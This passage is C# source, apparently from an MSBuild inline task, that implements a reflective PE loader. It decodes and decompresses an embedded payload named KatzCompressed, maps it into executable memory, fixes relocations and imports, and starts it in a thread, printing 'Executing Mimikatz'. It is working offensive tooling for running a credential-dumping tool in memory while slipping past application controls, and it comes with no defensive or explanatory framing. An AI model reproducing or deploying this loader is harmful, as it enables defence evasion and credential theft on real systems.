0) { memory.Write(buffer, 0, count); } } while (count > 0); return memory.ToArray(); } } } public override bool Execute() { byte[] FromBase64 = System.Convert.FromBase64String(KatzCompressed); byte[] decompressed = Decompress(FromBase64); PELoader pe = new PELoader(decompressed); Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); IntPtr codebase = IntPtr.Zero; codebase = VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); //Copy Sections for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) { IntPtr y = VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int) pe.ImageSectionHeaders[i].SizeOfRawData); Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); } //Perform Base Relocation //Calculate Delta long currentbase = (long)codebase.ToInt64(); long delta; delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase); Console.WriteLine("Delta = {0}", delta.ToString("X4")); //Modify Memory Based On Relocation Table //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4")); //Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4")); IntPtr relocationTable = (IntPtr.Add(codebase, (int) pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); //Console.WriteLine(relocationTable.ToString("X4")); IMAGE_BASE_RELOCATION relocationEntry = new IMAGE_BASE_RELOCATION(); relocationEntry = (IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof (IMAGE_BASE_RELOCATION)); //Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4")); //Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4")); int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION)); IntPtr nextEntry = relocationTable; int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; IntPtr offset = relocationTable; while (true) { IMAGE_BASE_RELOCATION relocationNextEntry = new IMAGE_BASE_RELOCATION(); IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock); relocationNextEntry = (IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof (IMAGE_BASE_RELOCATION)); IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress); for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) { IntPtr patchAddr; UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); UInt16 type = (UInt16)(value >> 12); UInt16 fixup = (UInt16)(value & 0xfff); switch (type) { case 0x0: break; case 0xA: patchAddr = IntPtr.Add(dest, fixup); //Add Delta To Location. long originalAddr = Marshal.ReadInt64(patchAddr); Marshal.WriteInt64(patchAddr, originalAddr + delta); break; } } offset = IntPtr.Add(relocationTable, sizeofNextBlock); sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; relocationEntry = relocationNextEntry; nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock); if (relocationNextEntry.SizeOfBlock == 0) break; } //Resolve Imports IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16)); //Get And Display Each DLL To Load for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically. { IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress); int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16)); IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); //Need just last part? IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12)))); string DllName = Marshal.PtrToStringAnsi(dllNamePTR); if (DllName == "") { break; } IntPtr handle = LoadLibrary(DllName); Console.WriteLine("Loaded {0}", DllName); for (int k = 1; k < 9999; k++) { IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2))); string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2)); //Console.WriteLine("Function {0}", DllFuncName); IntPtr funcAddy = GetProcAddress(handle, DllFuncName); Marshal.WriteInt64(a2, (long)funcAddy); a2 = IntPtr.Add(a2, 8); if (DllFuncName == "") break; } //Console.ReadLine(); } //Transfer Control To OEP Console.WriteLine("Executing Mimikatz"); IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint); IntPtr hThread = CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); Console.WriteLine("Thread Complete"); //Console.ReadLine(); return true; } //End Main } public class PELoader { public struct IMAGE_DOS_HEADER { // DOS .EXE header public UInt16 e_magic; // Magic number public UInt16 e_cblp; // Bytes on last page of file public UInt16 e_cp; // Pages in file public UInt16 e_crlc; // Relocations public UInt16 e_cparhdr; // Size of header in paragraphs public UInt16 e_minalloc; // Minimum extra paragraphs needed public UInt16 e_maxalloc; // Maximum extra paragraphs needed public UInt16 e_ss; // Initial (relative) SS value public UInt16 e_sp; // Initial SP value public UInt16 e_csum; // Checksum public UInt16 e_ip; // Initial IP value public UInt16 e_cs; // Initial (relative) CS value public UInt16 e_lfarlc; // File address of relocation table public UInt16 e_ovno; // Overlay number public UInt16 e_res_0; // Reserved words public UInt16 e_res_1; // Reserved words public UInt16 e_res_2; // Reserved words public UInt16 e_res_3; // Reserved words public UInt16 e_oemid; // OEM identifier (for e_oeminfo) public UInt16 e_oeminfo; // OEM information; e_oemid specific public UInt16 e_res2_0; // Reserved words public UInt16 e_res2_1; // Reserved words public UInt16 e_res2_2; // Reserved words public UInt16 e_res2_3; // Reserved words public UInt16 e_res2_4; // Reserved words public UInt16 e_res2_5; // Reserved words public UInt16 e_res2_6; // Reserved words public UInt16 e_res2_7; // Reserved words public UInt16 e_res2_8; // Reserved words public UInt16 e_res2_9; // Reserved words public UInt32 e_lfanew; // File address of new exe header } [StructLayout(LayoutKind.Sequential)] public struct IMAGE_DATA_DIRECTORY { public UInt32 VirtualAddress; public UInt32 Size; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct IMAGE_OPTIONAL_HEADER32 { public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; public UInt32 BaseOfData; public UInt32 ImageBase; public UInt32 SectionAlignment; public UInt32 FileAlignment; public UInt16 MajorOperatingSystemVersion; public UInt16 MinorOperatingSystemVersion; public UInt16 MajorImageVersion; public UInt16 MinorImageVersion; public UInt16 MajorSubsystemVersion; public UInt16 MinorSubsystemVersion; public UInt32 Win32VersionValue; public UInt32 SizeOfImage; public UInt32 SizeOfHeaders; public UInt32 CheckSum; public UInt16 Subsystem; public UInt16 DllCharacteristics; public UInt32 SizeOfStackReserve; public UInt32 SizeOfStackCommit; public UInt32 SizeOfHeapReserve; public UInt32 SizeOfHeapCommit; public UInt32 LoaderFlags; public UInt32 NumberOfRvaAndSizes; public IMAGE_DATA_DIRECTORY ExportTable; public IMAGE_DATA_DIRECTORY ImportTable; public IMAGE_DATA_DIRECTORY ResourceTable; public IMAGE_DATA_DIRECTORY ExceptionTable; public IMAGE_DATA_DIRECTORY CertificateTable; public IMAGE_DATA_DIRECTORY BaseRelocationTable; public IMAGE_DATA_DIRECTORY Debug; public IMAGE_DATA_DIRECTORY Architecture; public IMAGE_DATA_DIRECTORY GlobalPtr; public IMAGE_DATA_DIRECTORY TLSTable; public IMAGE_DATA_DIRECTORY LoadConfigTable; public IMAGE_DATA_DIRECTORY BoundImport; public IMAGE_DATA_DIRECTORY IAT; public IMAGE_DATA_DIRECTORY DelayImportDescriptor; public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; public IMAGE_DATA_DIRECTORY Reserved; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct IMAGE_OPTIONAL_HEADER64 { public UInt16 Magic; public Byte MajorLinkerVersion; public Byte MinorLinkerVersion; public UInt32 SizeOfCode; public UInt32 SizeOfInitializedData; public UInt32 SizeOfUninitializedData; public UInt32 AddressOfEntryPoint; public UInt32 BaseOfCode; public UInt64 ImageBase; public UInt32 SectionAlignment; public UInt32 FileAlignment; public UInt16 MajorOperatingSystemVersion; public UInt16 MinorOperatingSystemVersion; public UInt16 MajorImageVersion; public UInt16 MinorImageVersion; public UInt16 MajorSubsystemVersion; public UInt16 MinorSubsystemVersion; public UInt32 Win32VersionValue; public UInt32 SizeOfImage; public UInt32 SizeOfHeaders; public UInt32 CheckSum; public UInt16 Subsystem; public UInt16 DllCharacteristics; public UInt64 SizeOfStackReserve; public UInt64 SizeOfStackCommit; public UInt64 SizeOfHeapReserve; public UInt64 SizeOfHeapCommit; public UInt32 LoaderFlags; public UInt32 NumberOfRvaAndSizes; public IMAGE_DATA_DIRECTORY ExportTable; public IMAGE_DATA_DIRECTORY ImportTable; public IMAGE_DATA_DIRECTORY ResourceTable; public IMAGE_DATA_DIRECTORY ExceptionTable; public IMAGE_DATA_DIRECTORY CertificateTable; public IMAGE_DATA_DIRECTORY BaseRelocationTable; public IMAGE_DATA_DIRECTORY Debug; public IMAGE_DATA_DIRECTORY Architecture; public IMAGE_DATA_DIRECTORY GlobalPtr; public IMAGE_DATA_DIRECTORY TLSTable; public IMAGE_DATA_DIRECTORY LoadConfigTable; public IMAGE_DATA_DIRECTORY BoundImport; public IMAGE_DATA_DIRECTORY IAT; public IMAGE_DATA_DIRECTORY DelayImportDescriptor; public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; public IMAGE_DATA_DIRECTORY Reserved; } [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct IMAGE_FILE_HEADER { public UInt16 Machine; public UInt16 NumberOfSections; public UInt32 TimeDateStamp; public UInt32 PointerToSymbolTable; public UInt32 NumberOfSymbols; public UInt16 SizeOfOptionalHeader; public UInt16 Characteristics; } [StructLayout(LayoutKind.Explicit)] public struct IMAGE_SECTION_HEADER { [FieldOffset(0)] [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] public char[] Name; [FieldOffset(8)] public UInt32 VirtualSize; [FieldOffset(12)] public UInt32 VirtualAddress; [FieldOffset(16)] public UInt32 SizeOfRawData; [FieldOffset(20)] public UInt32 PointerToRawData; [FieldOffset(24)] public UInt32 PointerToRelocations; [FieldOffset(28)] public UInt32 PointerToLinenumbers; [FieldOffset(32)] public UInt16 NumberOfRelocations; [FieldOffset(34)] public UInt16 NumberOfLinenumbers; [FieldOffset(36)] public DataSectionFlags Characteristics; public string Section { get { return new string(Name); } } } [StructLayout(LayoutKind.Sequential)] public struct IMAGE_BASE_RELOCATION { public uint VirtualAdress; public uint SizeOfBlock; } [Flags] public enum DataSectionFlags : uint { /// /// Reserved for future use. /// TypeReg = 0x00000000, /// /// Reserved for future use. /// TypeDsect = 0x00000001, /// /// Reserved for future use. /// TypeNoLoad = 0x00000002, /// /// Reserved for future use. /// TypeGroup = 0x00000004, /// /// The section should not be padded to the next boundary. This flag is obsolete and is replaced by /// TypeNoPadded = 0x00000008, /// /// Reserved for future use. /// TypeCopy = 0x00000010, /// /// The section contains executable code. /// ContentCode = 0x00000020, /// /// The section contains initialized data. /// ContentInitializedData = 0x00000040, /// /// The section contains uninitialized data. /// ContentUninitializedData = 0x00000080, /// /// Reserved for future use. /// LinkOther = 0x00000100, /// /// The section contains comments or other information. The .drectve section has this type. This is /// LinkInfo = 0x00000200, /// /// Reserved for future use. /// TypeOver = 0x00000400, /// /// The section will not become part of the image. This is valid only for object files. /// LinkRemove = 0x00000800, /// /// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object /// LinkComDat = 0x00001000, /// /// Reset speculative exceptions handling bits in the TLB entries for this section. /// NoDeferSpecExceptions = 0x00004000, /// /// The section contains data referenced through the global pointer (GP). /// RelativeGP = 0x00008000, /// /// Reserved for future use. /// MemPurgeable = 0x00020000, /// /// Reserved for future use. /// Memory16Bit = 0x00020000, /// /// Reserved for future use. /// MemoryLocked = 0x00040000, /// /// Reserved for future use. /// MemoryPreload = 0x00080000, /// /// Align data on a 1-byte boundary. Valid only for object files. /// Align1Bytes = 0x00100000, /// /// Align data on a 2-byte boundary. Valid only for object files. /// Align2Bytes = 0x00200000, /// /// Align data on a 4-byte boundary. Valid only for object files. /// Align4Bytes = 0x00300000, /// /// Align data on an 8-byte boundary. Valid only for object files. /// Align8Bytes = 0x00400000, /// /// Align data on a 16-byte boundary. Valid only for object files. /// Align16Bytes = 0x00500000, /// /// Align data on a 32-byte boundary. Valid only for object files. /// Align32Bytes = 0x00600000, /// /// Align data on a 64-byte boundary. Valid only for object files. /// Align64Bytes = 0x00700000, /// /// Align data on a 128-byte boundary. Valid only for object files. /// Align128Bytes = 0x00800000, /// /// Align data on a 256-byte boundary. Valid only for object files. /// Align256Bytes = 0x00900000, /// /// Align data on a 512-byte boundary. Valid only for object files. /// Align512Bytes = 0x00A00000, /// /// Align data on a 1024-byte boundary. Valid only for object files. /// Align1024Bytes = 0x00B00000, /// /// Align data on a 2048-byte boundary. Valid only for object files. /// Align2048Bytes = 0x00C00000, /// /// Align data on a 4096-byte boundary. Valid only for object files. /// Align4096Bytes = 0x00D00000, /// /// Align data on an 8192-byte boundary. Valid only for object files. /// Align8192Bytes = 0x00E00000, /// /// The section contains extended relocations. /// LinkExtendedRelocationOverflow = 0x01000000, /// /// The section can be discarded as needed. /// MemoryDiscardable = 0x02000000, /// /// The section cannot be cached. /// MemoryNotCached = 0x04000000, /// /// The section is not pageable. /// MemoryNotPaged = 0x08000000, /// /// The section can be shared in memory. /// MemoryShared = 0x10000000, /// /// The section can be executed as code. /// MemoryExecute = 0x20000000, /// /// The section can be read. /// MemoryRead = 0x40000000, /// /// The section can be written to. /// MemoryWrite = 0x80000000 } /// /// The DOS header /// private IMAGE_DOS_HEADER dosHeader; /// /// The file header /// private IMAGE_FILE_HEADER fileHeader; /// /// Optional 32 bit file header /// private IMAGE_OPTIONAL_HEADER32 optionalHeader32; /// /// Optional 64 bit file header /// private IMAGE_OPTIONAL_HEADER64 optionalHeader64; /// /// Image Section headers. Number of sections is in the file header. /// private IMAGE_SECTION_HEADER[] imageSectionHeaders; private byte[] rawbytes; public PELoader(string filePath) { // Read in the DLL or EXE and get the timestamp using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader(reader); } else { optionalHeader64 = FromBinaryReader(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader(reader); } rawbytes = System.IO.File.ReadAllBytes(filePath); } } public PELoader(byte[] fileBytes) { // Read in the DLL or EXE and get the timestamp using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length)) { BinaryReader reader = new BinaryReader(stream); dosHeader = FromBinaryReader(reader); // Add 4 bytes to the offset stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); UInt32 ntHeadersSignature = reader.ReadUInt32(); fileHeader = FromBinaryReader(reader); if (this.Is32BitHeader) { optionalHeader32 = FromBinaryReader(reader); } else { optionalHeader64 = FromBinaryReader(reader); } imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections]; for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo) { imageSectionHeaders[headerNo] = FromBinaryReader(reader); } rawbytes = fileBytes; } } public static T FromBinaryReader(BinaryReader reader) { // Read in a byte array byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); // Pin the managed memory while, copy it out the data, then unpin it GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); handle.Free(); return theStructure; } public bool Is32BitHeader { get { UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; } } public IMAGE_FILE_HEADER FileHeader { get { return fileHeader; } } /// /// Gets the optional header /// public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 { get { return optionalHeader32; } } /// /// Gets the optional header /// public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 { get { return optionalHeader64; } } public IMAGE_SECTION_HEADER[] ImageSectionHeaders { get { return imageSectionHeaders; } } public byte[] RawBytes { get { return rawbytes; } } }//End Class ]]>